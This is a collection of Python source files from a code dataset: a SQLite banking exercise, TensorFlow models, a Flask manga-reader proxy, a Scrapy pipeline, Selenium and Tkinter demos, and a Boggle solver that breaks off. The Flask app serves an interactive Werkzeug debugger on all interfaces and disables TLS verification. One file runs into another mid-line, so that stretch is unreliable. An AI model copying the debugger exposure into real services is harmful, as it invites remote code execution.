cur.execute(command, (card_num,))\n ans = cur.fetchall()\n print('Balance: {}'.format(ans[0][0]))\n\n elif option == '2':\n add_income = int(input('Enter income:'))\n\n sql_command = \"\"\"UPDATE card SET balance = balance + ? WHERE number = ? ;\"\"\"\n cur.execute(sql_command, (add_income, card_num))\n conn.commit()\n print('Income was added!')\n\n elif option == '3':\n transfer_acc = input('Transfer\\nEnter card number:')\n if card_num == transfer_acc:\n print(\"You can't transfer money to the same account!\")\n\n else:\n acc_num_lst = list(transfer_acc)\n count = 0\n sum_ = 0\n for i in range(len(transfer_acc)):\n count += 1\n if count % 2 == 1:\n acc_num_lst[i] = int(acc_num_lst[i]) * 2\n if acc_num_lst[i] > 9:\n acc_num_lst[i] = acc_num_lst[i] - 9\n sum_ += int(acc_num_lst[i])\n if (sum_ % 10) != 0:\n print('Probably you made mistake in the card number. Please try again!')\n else:\n command = \"\"\"SELECT number FROM card WHERE number = ? ;\"\"\"\n cur.execute(command, (transfer_acc,))\n ans = cur.fetchall()\n\n if len(ans) == 1:\n transfer_income = int(input('Enter how much money you want to transfer:'))\n command = \"\"\"SELECT balance FROM card WHERE number = ? ;\"\"\"\n cur.execute(command, (card_num,))\n balance_acc_num = cur.fetchall()\n if transfer_income < balance_acc_num[0][0]:\n command = \"\"\"UPDATE card SET balance = balance + ? WHERE number = ? ;\"\"\"\n cur.execute(command, (transfer_income, transfer_acc))\n command = \"\"\"UPDATE card SET balance = balance - ? WHERE number = ? ;\"\"\"\n cur.execute(command, (transfer_income, card_num))\n conn.commit()\n print('Success!')\n\n else:\n print('Not enough money!')\n\n else:\n print('Such a card does not exist.')\n\n elif option == '4':\n command = \"\"\"DELETE FROM card WHERE number = ?\"\"\"\n cur.execute(command, (card_num,))\n conn.commit()\n print('The account has been closed!')\n break\n\n elif option == '5':\n print('You have successfully logged out!')\n break\n\n\n elif option == '0':\n print('Bye!')\n exit()\n\n\n else:\n print('Wrong card number or PIN!')\n conn.commit()\n conn.close()\n\n\nwhile 1:\n option = input('1. Create an account\\n2. Log into account\\n0. Exit')\n if option == '1':\n Account.create()\n elif option == '2':\n Account.login()\n elif option == '0':\n exit()\n else:\n print('Error Occured!!')\n","sub_path":"banking.py","file_name":"banking.py","file_ext":"py","file_size_in_byte":6278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"519863259","text":"import tensorflow as tf\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nnum_of_data = 100\n\npercent = 0.8\ntr_len = int(num_of_data*percent)\nte_len = int(num_of_data*(1-percent))\n\ndef model(X):\n\n return X**2\n\n\nx = 2.*(np.random.rand((num_of_data))-0.5)\ny = model(x)\n\nf = open(\"train.txt\",\"w\")\nfor i, j in zip(x[:tr_len],y[:tr_len]):\n f.write(\"{0} {1}\\n\".format(i, j))\nf.close()\n\nf = open(\"test.txt\",\"w\")\nfor i, j in zip(x[tr_len:],y[tr_len:]):\n f.write(\"{0} {1}\\n\".format(i, j))\nf.close()\n\n \n","sub_path":"regression/Data/gen_data.py","file_name":"gen_data.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"25756129","text":"import numpy as np\nimport pdb\nimport matplotlib.pyplot as plt\n\n# compute the conjuguate of G, and test it g(v) = |< r_{ij}|(v_{i,j},1)>|\n\nclass GStarComputer(object):\n\t\"\"\"docstring for GStar\"\"\"\n\tdef __init__(self, r):\n\t\tself.r = r\n\t\tself.r1 = r[:-1]\n\t\tself.r2 = r[-1]\n\n\tdef pixelicGStarFinite(self,u):\n\t\t# if we assume that the conditions for finitness are verified\n\t\tnormr1 = np.sqrt(np.sum(self.r1**2,axis=0))\n\t\tnormedr1 = self.r1 / normr1\n\n\t\t# sumr1Square = np.sum(self.r1**2,axis=0)\n\t\t# sumUSquare = np.sum(u**2,axis=0)\n\t\tcoeff = np.sum(u*normedr1,axis=0)*(self.r2/ normr1) # the normalized scalara product with r1\n\n\t\ttmp0 = (normr1==0) #all the pixels for which r1 is nearly null, or self.r2/normr1 is very big, have r1 and r2 put to zero, and are contained in this ROI\n\n\t\ttmp1 = ~(tmp0)\n\n\t\tres = np.zeros(u.shape[1:])\n\n\t\tres[tmp0] = - np.abs(self.r2[tmp0])\n\n\t\tres[tmp1] = - coeff[tmp1]\n\n\t\treturn res\n\n\tdef GStar(self,u):\n\t\treturn np.sum(self.pixelicGStarFinite(u))\n\t\t# uorthr1 = np.sqrt(np.sum((u - self.coeff*self.r1)**2,axis=0))\t\n\t#TODO : add possibility to compute the ratio of elements that violates the constraints, and compute stats on coeff above the limit\n\n\tdef G(self,v):\n\t\treturn np.sum(np.abs(np.sum(self.r1*v,axis=0)+self.r2))\n\n\tdef tmp(self,u,v):\n\t\treturn np.sum(u*v) - self.G(v)\n\n\tdef computeArgmaxTmp(self):\n\t\t\"\"\" but really existe only if regularCondition0 or regularCondition1 are verfied\"\"\"\n\t\treturn -(self.r2/np.sum(self.r1**2,axis=0))*self.r1\n\n\nclass testGStarFunction(object):\n\t\"\"\"docstring for testGStarFunction\"\"\"\n\tdef __init__(self, r,u):\n\t\tself.r = r\n\t\tself.u = u\n\n\n\t\tself.GStarComputer = GStarComputer(self.r)\n\n\t\tself.GStaru = self.GStarComputer.GStar(self.u)\n\t\tself.computeArgmax()\n\n\tdef computeArgmax(self):\n\t\tself.argmaxTmp = self.GStarComputer.computeArgmaxTmp()\n\n\n\tdef testUnitary(self,v,eps=10**(-6)):\n\t\terr = self.GStaru - self.GStarComputer.tmp(self.u,v)\n\t\treturn (self.GStaru,self.GStarComputer.tmp(self.u,v),err,err >= -eps)\n\n\tdef generateAndTestMultiple(self,epsAroundArgmax= 10**(-7),nbIter=10):\n\t\tfor i in range(nbIter):\n\t\t\tv = algo.argmaxTmp + epsAroundArgmax * np.random.random(self.argmaxTmp.shape)\n\t\t\tres = algo.testUnitary(v)\n\t\t\tprint(res)\n\t\t\tif (res[-1]==False):\n\t\t\t\tprint(\"error\")\n\t\t\t\treturn res\n\t\tprint(\"no error\")\n\nif __name__ == '__main__':\n\t# r = np.load(\"r.npy\")\n\n\t# p = np.load(\"dualConvergedForGstarTest.npy\")\n\n\t# u = np.load(\"primalConvergedForGstarTest.npy\")/100000.0\n\t# u/= np.sqrt(np.sum(u**2,axis=0))\n\t# r = np.load(\"rForGStarTest.npy\")\n\n\tu1 = np.load(\"u1.npy\")\n\tr = np.load(\"r.npy\")\n\tuc = np.load(\"uc.npy\")\n\n\talgo = testGStarFunction(r,u1)\n\n\t# v = algo.argmaxTmp + 10**(1)* np.random.random(algo.argmaxTmp.shape)\n\t# print(algo.testUnitary(v))\n\tres = algo.generateAndTestMultiple(epsAroundArgmax=0)\n\n\tprint(algo.GStarComputer.GStar(u1) - algo.GStarComputer.tmp(u1,algo.argmaxTmp))\n\t\n\n\n\t# def compute(self,u):\n\t# \tnormuij = np.sqrt(np.sum(u**2,axis=0))\n\t# \tnormr1ij = np.sqrt(self.r[0]**2+self.r[1]**2)\n\t# \tnormr2ij = np.abs(self.r[2])\n\t# \tres = normuij/normr1ij*normr2ij\n\t# \tif (eps>0):\n\t# \t\ttmp = (u[0]*self.r[1] - u[1]*self.r[0])\")\ndef streamImage(base64Url):\n\tdUrl = base64.b64decode(base64Url).decode(\"utf-8\")\n\tfilename = dUrl.split(\"/\")[-1]\n\tif(not os.path.exists(\"./img/\"+base64Url)):\n\t\ts = requests.Session()\n\t\tcookies = dict(s.get(\"https://blogtruyen.com\", verify = False).cookies)\n\t\theaders = {\"Referer\" : \"https://blogtruyen.com/\"}\n\t\tr = s.get(url = dUrl, headers = headers, cookies = cookies, verify = False)\n\t\twith open(r\"./img/\"+base64Url,\"wb\") as f:\n\t\t\tf.write(r.content)\n\t\tresponse = make_response(r.content)\n\t\t# if(\".png\" in dUrl):\n\t\t# \tresponse.headers.set('Content-Type', 'image/png')\n\t\t# else:\n\t\t# \tif(\".jpg\" in dUrl or \".jpeg\" in dUrl):\n\t\t# \t\tresponse.headers.set('Content-Type', 'image/jpeg')\n\t\tresponse.headers.set('Content-Disposition', 'inline', filename='%s' % filename)\n\t\treturn response\n\telse:\n\t\treturn send_from_directory(\"./img\", filename = base64Url, attachment_filename=filename)\n\t\t# if(\".png\" in dUrl):\n\t\t# \treturn send_from_directory(\"./img\", filename = base64Url, mimetype=\"image/png\", attachment_filename=filename)\n\t\t# else:\n\t\t# \tif(\".jpg\" in dUrl or \".jpeg\" in dUrl):\n\t\t# \t\treturn send_from_directory(\"./img\", filename = base64Url, mimetype=\"image/jpeg\", attachment_filename=filename)\n\t\t# \telse:\n\t\t# \t\tif(\".gif\" in dUrl):\n\t\t# \t\t\treturn send_from_directory(\"./img\", filename = base64Url, mimetype=\"image/gif\", attachment_filename=filename)\n\ndef multithreadRequest(url):\n\tsema.acquire()\n\tglobal manga\n\tglobal IDs\n\tstart = time.time()\n\tm = blogtruyen.Manga(url)\n\tmanga.append(m)\n\tprint(\"%s: %f\" % (url, m.time))\n\tmanga = sorted(manga, key = lambda x: datetime.strptime(x.lastUpdate, \"%d/%m/%Y %H:%M\"), reverse = True)\n\tfor i in range(0, len(manga)):\n\t\tIDs[manga[i].id] = i\n\tfor i in range(0, len(manga)):\n\t\tif(\"img.blogtruyen.com\" in manga[i].thumb or \"i.blogtruyen.com\" in manga[i].thumb):\n\t\t\tnewThumb = encodeImageUrl(manga[i].thumb)\n\t\t\tif(len(newThumb) < 256):\n\t\t\t\tmanga[i].thumb = \"/stream/%s\" % newThumb\n\tsema.release()\n\ndef update():\n\tglobal followingManga\n\tglobal manga\n\tmanga = []\n\t\n\tfollowingManga = [x.strip(\"\\n\") for x in open(\"following.txt\",\"r\").readlines()]\n\tstart = time.time()\n\tthreads = []\n\tfor x in followingManga:\n\t\tt = Thread(target= multithreadRequest, args = (x,))\n\t\tt.start()\n\t\tthreads.append(t)\n\tprint(\"total: %f\" % (time.time()-start))\n\n\ndef exportJson():\n\tglobal manga\n\tfor x in manga:\n\t\twith codecs.open(\"./data/\"+x.id+\".json\", \"w\", \"utf-8\") as f:\n\t\t\tjson.dump(x.__dict__, f, indent = 4)\n\n\n@app.route(\"/\")\ndef main():\n\tglobal manga\n\tglobal cookie\n\tpage = request.args.get(\"page\",default=1,type=int)\n\treturn render_template(\"main.html\", manga = manga, page = page)\n\n@app.route(\"/manga/\")\ndef mangaInfo(mangaId):\n\tthisManga = manga[IDs[mangaId]]\n\treturn render_template(\"manga.html\", manga = thisManga)\n\n@app.route(\"/read/\")\ndef read(chapterId):\n\turl = \"https://blogtruyen.com/\" + chapterId.replace(\"-\",\"/\",1)\n\tthisChapter = blogtruyen.Chapter(url)\n\timages = thisChapter.images\n\tfor i in range(0, len(images)):\n\t\tif(\"img.blogtruyen.com\" in images[i] or \"i.blogtruyen.com\" in images[i]):\n\t\t\timages[i] = \"/stream/%s\" % encodeImageUrl(images[i])\n\treturn render_template(\"read.html\", chapter = thisChapter, images = images)\n@app.route(\"/update\")\ndef updateNewManga():\n\tupdate()\n\treturn redirect(url_for(\"main\"))\n@app.route(\"/add\",methods=['GET','POST'])\ndef addManga():\n\tif request.method == \"POST\":\n\t\tnewUrl = request.form[\"mangaUrl\"]\n\t\tif(\"blogtruyen\" in newUrl):\n\t\t\twith open(\"following.txt\", \"a\") as f:\n\t\t\t\tf.write(newUrl)\n\t\t\t\tf.write(\"\\n\")\n\t\t\treturn render_template(\"add.html\", status = 2)\n\t\treturn render_template(\"add.html\", status = 1)\n\treturn render_template(\"add.html\", status = 0)\n\n@app.route(\"/clear\")\ndef clear_cache():\n\tlst = os.listdir(\"./img\")\n\tfor a in lst:\n\t\tos.remove(\"./img/\"+a)\n\treturn redirect(url_for(\"main\"))\n\n@app.context_processor\ndef infomation():\n\tmangaPerColumn = 5\n\treturn dict(column = mangaPerColumn)\n\ndef run_server():\n\tapp.jinja_env.globals.update(min=min)\n\tupdate()\n\t# exportJson()\n\tapp.jinja_env.auto_reload = True\n\tapp.config['TEMPLATES_AUTO_RELOAD'] = True\n\thttp_server = WSGIServer(('0.0.0.0', 80), DebuggedApplication(app))\n\thttp_server.serve_forever()\n\nif __name__ == '__main__':\n\trun_with_reloader(run_server)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"39860057","text":"import logging\nfrom datetime import datetime\n\nfrom sqlalchemy.orm import sessionmaker\n\nfrom opennem.db import SessionLocal\nfrom opennem.db.models.opennem import BomObservation\nfrom opennem.utils.pipelines import check_spider_pipeline\n\nlogger = logging.getLogger(__name__)\n\n\ndef parse_date(date_str):\n dt = datetime.strptime(date_str, \"%Y%m%d%H%M%S\")\n\n return dt\n\n\nclass StoreBomObservation(object):\n \"\"\"\n Pipeline to store BOM observations into the database\n \"\"\"\n\n @check_spider_pipeline\n def process_item(self, item, spider):\n\n s = SessionLocal()\n\n observation = BomObservation(\n station_id=item[\"station_id\"],\n observation_time=parse_date(item[\"aifstime_utc\"]),\n temp_apparent=item[\"apparent_t\"],\n temp_air=item[\"air_temp\"],\n press_qnh=item[\"press_qnh\"],\n wind_dir=item[\"wind_dir\"],\n wind_spd=item[\"wind_spd_kmh\"],\n )\n\n try:\n s.add(observation)\n s.commit()\n except Exception as e:\n logger.error(\"Error: {}\".format(e))\n finally:\n s.close()\n\n return item\n","sub_path":"opennem/pipelines/bom.py","file_name":"bom.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"300296269","text":"'''\nRadio Button\n'''\n\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\nimport time\n\ndriver = webdriver.Chrome(\"C://Selenium Web Driver//Chrome//chromedriver.exe\")\n\ndriver.get(\"https://paytm.com/train-tickets\")\n\ndriver.maximize_window()\n\ntime.sleep(2)\n\nradioButton = driver.find_element_by_xpath(\"//*[@id='app']/div/div[2]/div/div[2]/div/div[1]/div[2]/div[1]/div[2]/div/div[3]/label\")\ndriver.find_el\nradioButton.click()\n\n\nselectionState = radioButton.is_selected()\nprint(selectionState)\n'''\nif( selectionState == \"False\" ):\n radioButton.click()\n'''\ntime.sleep(5)\ndriver.close()","sub_path":"radioButtonDemo.py","file_name":"radioButtonDemo.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"248099839","text":"from tkinter import LabelFrame as TKLabelFrame\n\nfrom ..utils import load_color\n\ndef LabelFrame(root, style = \"\", text = \"\", **options):\n\n props = {\n 'fill': 'both',\n 'expand': 'yes'\n }\n\n props.update(**options)\n\n lf = TKLabelFrame(\n root, \n text = text,\n bg = load_color(style)['bgColor']\n )\n\n lf.pack(props)\n\n return lf","sub_path":"src/LabelFrame/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"241274158","text":"import numpy as np\nimport tensorflow as tf\n\ndef group_normalization(x, is_training, G = 16, ESP = 1e-5, scope = 'group_norm'):\n with tf.variable_scope(scope):\n # 1. [N, H, W, C] -> [N, C, H, W]\n x = tf.transpose(x, [0, 3, 1, 2])\n N, C, H, W = x.shape.as_list()\n\n # 2. reshape (group normalization)\n G = min(G, C)\n x = tf.reshape(x, [-1, G, C // G, H, W])\n \n # 3. get mean, variance\n mean, var = tf.nn.moments(x, [2, 3, 4], keep_dims=True)\n # 4. normalize\n x = (x - mean) / tf.sqrt(var + ESP)\n\n # 5. create gamma, bete\n gamma = tf.Variable(tf.constant(1.0, shape = [C]), dtype = tf.float32, name = 'gamma')\n beta = tf.Variable(tf.constant(0.0, shape = [C]), dtype = tf.float32, name = 'beta')\n\n gamma = tf.reshape(gamma, [1, C, 1, 1])\n beta = tf.reshape(beta, [1, C, 1, 1])\n\n # 6. gamma * x + beta\n x = tf.reshape(x, [-1, C, H, W]) * gamma + beta\n\n # 7. [N, C, H, W] -> [N, H, W, C]\n x = tf.transpose(x, [0, 2, 3, 1])\n return x\n\ndef normalize(x, is_training, norm_type, scope):\n if norm_type == 'group':\n x = group_normalization(x, is_training, scope = scope)\n else:\n x = tf.layers.batch_normalization(x, training = is_training, name = scope)\n return x\n\ndef Global_Average_Pooling(x, stride=1):\n return tf.layers.average_pooling2d(inputs=x, pool_size=np.shape(x)[1:3], strides=stride)\n\n'''\nTensor(\"Relu:0\", shape=(?, 112, 112, 32), dtype=float32)\nTensor(\"Relu_1:0\", shape=(?, 112, 112, 32), dtype=float32)\nTensor(\"max_pooling2d/MaxPool:0\", shape=(?, 56, 56, 32), dtype=float32)\nTensor(\"Relu_2:0\", shape=(?, 56, 56, 64), dtype=float32)\nTensor(\"Relu_3:0\", shape=(?, 56, 56, 64), dtype=float32)\nTensor(\"max_pooling2d_1/MaxPool:0\", shape=(?, 28, 28, 64), dtype=float32)\nTensor(\"Relu_4:0\", shape=(?, 28, 28, 128), dtype=float32)\nTensor(\"Relu_5:0\", shape=(?, 28, 28, 128), dtype=float32)\nTensor(\"max_pooling2d_2/MaxPool:0\", shape=(?, 14, 14, 128), dtype=float32)\nTensor(\"Relu_6:0\", shape=(?, 14, 14, 256), dtype=float32)\nTensor(\"Relu_7:0\", shape=(?, 14, 14, 256), dtype=float32)\nTensor(\"flatten/Reshape:0\", shape=(?, 50176), dtype=float32)\n'''\ndef Model(input_var, is_training, norm_type):\n x = input_var\n\n x = tf.layers.conv2d(x, 32, [3, 3], 1, padding = 'SAME')\n x = normalize(x, is_training, norm_type, scope = 'norm_1')\n x = tf.nn.relu(x)\n print(x)\n\n x = tf.layers.conv2d(x, 32, [3, 3], 1, padding = 'SAME')\n x = normalize(x, is_training, norm_type, scope = 'norm_2')\n x = tf.nn.relu(x)\n print(x)\n\n x = tf.layers.max_pooling2d(x, [2, 2], 2)\n print(x)\n\n x = tf.layers.conv2d(x, 64, [3, 3], 1, padding = 'SAME')\n x = normalize(x, is_training, norm_type, scope = 'norm_3')\n x = tf.nn.relu(x)\n print(x)\n\n x = tf.layers.conv2d(x, 64, [3, 3], 1, padding = 'SAME')\n x = normalize(x, is_training, norm_type, scope = 'norm_4')\n x = tf.nn.relu(x)\n print(x)\n\n x = tf.layers.max_pooling2d(x, [2, 2], 2)\n print(x)\n\n x = tf.layers.conv2d(x, 128, [3, 3], 1, padding = 'SAME')\n x = normalize(x, is_training, norm_type, scope = 'norm_5')\n x = tf.nn.relu(x)\n print(x)\n\n x = tf.layers.conv2d(x, 128, [3, 3], 1, padding = 'SAME')\n x = normalize(x, is_training, norm_type, scope = 'norm_6')\n x = tf.nn.relu(x)\n print(x)\n\n x = tf.layers.max_pooling2d(x, [2, 2], 2)\n print(x)\n\n x = tf.layers.conv2d(x, 256, [3, 3], 1, padding = 'SAME')\n x = normalize(x, is_training, norm_type, scope = 'norm_7')\n x = tf.nn.relu(x)\n print(x)\n\n x = tf.layers.conv2d(x, 256, [3, 3], 1, padding = 'SAME')\n x = normalize(x, is_training, norm_type, scope = 'norm_8')\n x = tf.nn.relu(x)\n print(x)\n \n # final layers\n x = Global_Average_Pooling(x)\n \n x = tf.layers.flatten(x)\n print(x)\n\n logits = tf.layers.dense(x, 5)\n predictions = tf.nn.softmax(logits)\n\n return logits, predictions\n\nif __name__ == '__main__':\n input_var = tf.placeholder(tf.float32, [None, 112, 112, 3])\n Model(input_var, False, 'group')\n","sub_path":"CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":4079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"269114683","text":"import sherpa\nimport argparse\nimport os\nimport json\n\nfrom .. import load_graph_data\nfrom ..train import train_and_eval\nfrom ..train import register_general_args\nfrom .mlp_train import mlp_model_fn\nfrom .mlp_train import register_mlp_args\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='MLP hparam search')\n register_general_args(parser)\n register_mlp_args(parser)\n parser.add_argument('--study-dir', help='file to write study results to')\n parser.add_argument('--n-trials', type=int, default=100,\n help='number of trials to run')\n args = parser.parse_args()\n print('Parsed args:', args)\n with open(os.path.join(args.study_dir, 'args.json'), 'w') as out:\n json.dump(vars(args), out)\n parent_out_dir = args.output_dir\n\n parameters = [\n sherpa.Continuous(name='dropout', range=[0.01, 0.6]),\n sherpa.Continuous(name='lr', range=[1e-4, 1e-1], scale='log'),\n sherpa.Discrete(name='n_hidden_layers', range=[1, 6]),\n sherpa.Discrete(name='n_hidden_units', range=[10, 60])\n ]\n algorithm = sherpa.algorithms.RandomSearch(max_num_trials=args.n_trials)\n study = sherpa.Study(parameters=parameters,\n algorithm=algorithm,\n lower_is_better=False,\n disable_dashboard=True,\n output_dir=args.study_dir)\n data = load_graph_data.load(args)\n\n for trial in study:\n print('Starting trial {} with params {}'.format(\n trial.id, trial.parameters))\n args.output_dir = os.path.join(parent_out_dir, str(trial.id))\n args.lr = trial.parameters['lr']\n args.dropout = trial.parameters['dropout']\n args.n_layers = trial.parameters['n_hidden_layers']\n args.n_hidden = trial.parameters['n_hidden_units']\n callback = (lambda objective, context:\n study.add_observation(trial=trial,\n objective=objective,\n context=context))\n train_and_eval(mlp_model_fn, data, args, callback)\n study.finalize(trial)\n study.save()\n","sub_path":"experiments/node_classification/mlp/mlp_hparam_search.py","file_name":"mlp_hparam_search.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"380027002","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^show_all_players/$', views.show_all_players, name='show_all_players'),\n url(r'^update_excluded_list/$', views.update_excluded_list, name='update_excluded_list'),\n url(r'^select_missing_players/$', views.select_missing_players, name='select_missing_players'),\n url(r'^get_random_teams/$', views.get_random_teams, name='get_random_teams'),\n]\n","sub_path":"vol_manager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"575864016","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 12 12:53:01 2019\n\n@author: harshwardhan\n\"\"\"\n\nprint(\"Enter distance travelled: \")\ndis = float(input())\nlit = float(dis/18)\ncost = float(lit*80)\nprint(\"Cost is :\",cost)\n","sub_path":"basics/ride_cost.py","file_name":"ride_cost.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"136679141","text":"text = \"\"\n\ntext = '' \nwith open(\"게기스.txt\", \"r\", encoding=\"utf-8\") as f: \n lines = f.readlines() \n for line in lines: \n if '] [' in line and len(line.split('] '))>2: \n text += line.split('] ')[2].replace('ㅋ', '').replace('ㅠ', '').replace('ㅜ', '').replace('사진\\n', '').replace( '이모티콘\\n', '').replace('삭제된 메시지입니다', '')\n\n\nfrom wordcloud import WordCloud\n\nwc = WordCloud(font_path= \"C:\\Windows\\Fonts/batang.ttc\", background_color= \"white\", width = 1800, height = 1200)\nwc.generate(text) # 많이 나오는 텍스트를 서칭하고 정리하는 메서드\nwc.to_file(\"게기스.png\")","sub_path":"python/word_base.py","file_name":"word_base.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"630257332","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 26 08:20:30 2019\n\n@author: anycielago\n\n\"\"\"\n\nimport pandas as pd\nimport os\n\npath = 'data//artwork_data.csv'\n\ndf = pd.read_csv(path, nrows = 10)\n\ncolumnas = ['id', 'artist', 'title', 'medium', \n 'year', 'acquisitionYear', 'height',\n 'width', 'units']\n\ndf2 = pd.read_csv(\n path, \n nrows = 10,\n usecols = columnas\n )\n\ndf3 = pd.read_csv(\n path, \n nrows = 10,\n usecols = columnas,\n index_col = 'id'\n )\n\npath_guardado = 'data//artwork_data.pickle'\n\ndf3.to_pickle(path_guardado)\n\ndf4 = pd.read_csv(path)\n\npath_guardado_bin = 'data//artwork_data_completo.pickle'\n\ndf4.to_pickle(path_guardado_bin)\n\ndf5 = pd.read_pickle(path_guardado)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"03-pandas/D_lectura_csv.py","file_name":"D_lectura_csv.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"200027089","text":"# Solution for Non-Divisible Subset\nfrom collections import defaultdict\n\n\ndef size_largest_subset(values, factor):\n remainder_counters = defaultdict(int)\n\n for v in values:\n remainder = v % factor\n remainder_counters[remainder] += 1\n\n count = 0\n for i in range(factor // 2 + 1):\n if factor == i * 2 or i == 0:\n count += min(remainder_counters[i], 1)\n else:\n count += max(remainder_counters[i], remainder_counters[factor - i])\n\n return count\n\n\nif __name__ == '__main__':\n n, factor = map(int, input().split()) # n not required\n values = set(map(int, input().split()))\n\n result = size_largest_subset(values, factor)\n print(result)\n","sub_path":"Python/Algorithms/Implementation/Non-Divisible Subset.py","file_name":"Non-Divisible Subset.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"193001319","text":"\"\"\"\nFile: boggle.py\nName: 林坤毅 Jordan\n----------------------------------------\nThis is a boggle game that user can type 4x4 characters square, and it will help\nuser find all exist word that can be found in 4x4 square by checking surrounding\ncharacter around each character.\n\"\"\"\n\n# This is the file name of the dictionary txt file\n# we will be checking if a word exists by searching through it\nFILE = 'dictionary.txt'\n\n# Global Variable\ndictionary = []\nfirst_lst = []\nsecond_lst = []\nthird_lst = []\nfourth_lst = []\nboggle_dict = {}\ndict_position = 0\nans_lst = []\n\n\ndef main():\n\t\"\"\"\n\t1. Read the dictionary.\n\t2. Ask user to type a 4x4 square (those characters will be store in four lists in one dict)\n\t3. Finding all the words in 4x4 square.\n\t\"\"\"\n\tread_dictionary()\n\twhile True:\n\n\t\t# First row input\n\t\tfirst_row = input('1 row of letters: ')\n\t\tif len(first_row) != 7:\n\t\t\tprint('Illegal input')\n\t\t\tbreak\n\t\telse:\n\t\t\tfor i in range(len(first_row)):\n\t\t\t\tch = first_row[i]\n\t\t\t\tif i % 2 == 0:\n\t\t\t\t\tfirst_lst.append(ch)\n\n\t\t# Second row input\n\t\tsecond_row = input('2 row of letters: ')\n\t\tif len(second_row) != 7:\n\t\t\tprint('Illegal input')\n\t\t\tbreak\n\t\telse:\n\t\t\tfor i in range(len(second_row)):\n\t\t\t\tch = second_row[i]\n\t\t\t\tif i % 2 == 0:\n\t\t\t\t\tsecond_lst.append(ch)\n\n\t\t# Third row input\n\t\tthird_row = input('3 row of letters: ')\n\t\tif len(third_row) != 7:\n\t\t\tprint('Illegal input')\n\t\t\tbreak\n\t\telse:\n\t\t\tfor i in range(len(third_row)):\n\t\t\t\tch = third_row[i]\n\t\t\t\tif i % 2 == 0:\n\t\t\t\t\tthird_lst.append(ch)\n\n\t\t# Fourth row input\n\t\tfourth_row = input('4 row of letters: ')\n\t\tif len(fourth_row) != 7:\n\t\t\tprint('Illegal input')\n\t\t\tbreak\n\t\telse:\n\t\t\tfor i in range(len(fourth_row)):\n\t\t\t\tch = fourth_row[i]\n\t\t\t\tif i % 2 == 0:\n\t\t\t\t\tfourth_lst.append(ch)\n\n\t\t# Add input lists in dictionary\n\t\tboggle_dict[0] = first_lst\n\t\tboggle_dict[1] = second_lst\n\t\tboggle_dict[2] = third_lst\n\t\tboggle_dict[3] = fourth_lst\n\t\tbreak\n\n\tfor y in range(len(boggle_dict)):\n\t\tfor x in range(len(boggle_dict[y])):\n\t\t\thelper(y, x, '', [], ans_lst)\n\t# print(ans_lst)\n\tprint(f'There are {len(ans_lst)} words in total.')\n\n\ndef helper(y, x, current_word, position_lst, ans_lst):\n\t\"\"\"\n\t:param y: (int) position value of y-axis\n\t:param x: (int) position value of x-axis\n\t:param current_word: (str) the string that keeps adding character and checking dictionary\n\t:param position_lst: (lst) store position tuple (y, x)\n\t:param ans_lst: (lst) store answer\n\t:return: (base-case) all the answer\n\t\"\"\"\n\t# 加位置在這裡錯誤\n\t# w = (y, x)\n\t# position.append(w)\n\tglobal dict_position\n\n\t# base case\n\tif len(current_word) >= 4 and current_word in dictionary:\n\t\tif current_word not in ans_lst:\n\t\t\tans_lst.append(current_word)\n\t\t\tprint('Found ' + '\\\"' + current_word + '\\\"')\n\n\t\t\t# removing current_word from dictionary to make sure roomy can be found after finding room\n\t\t\tfor e in range(len(dictionary)):\n\t\t\t\tif current_word == dictionary[e]:\n\t\t\t\t\tdict_position = e\n\t\t\tdictionary.pop(dict_position)\n\t\t\thelper(y, x, current_word, position_lst, ans_lst)\n\n\t# recursive case\n\telse:\n\t\tfor j in range(-1, 2, 1):\n\t\t\tfor i in range(-1, 2, 1):\n\t\t\t\t# find 8 different positions except (x, y)\n\t\t\t\tf_x = x + i\n\t\t\t\tf_y = y + j\n\t\t\t\tif 0 <= f_x < len(boggle_dict[y]):\n\t\t\t\t\tif 0 <= f_y < len(boggle_dict):\n\t\t\t\t\t\tif (f_y, f_x) not in position_lst:\n\n\t\t\t\t\t\t\t# !!!! adding position tuple in position_lst to make sure position has been check\n\t\t\t\t\t\t\tposition_lst.append((f_y, f_x))\n\n\t\t\t\t\t\t\t# 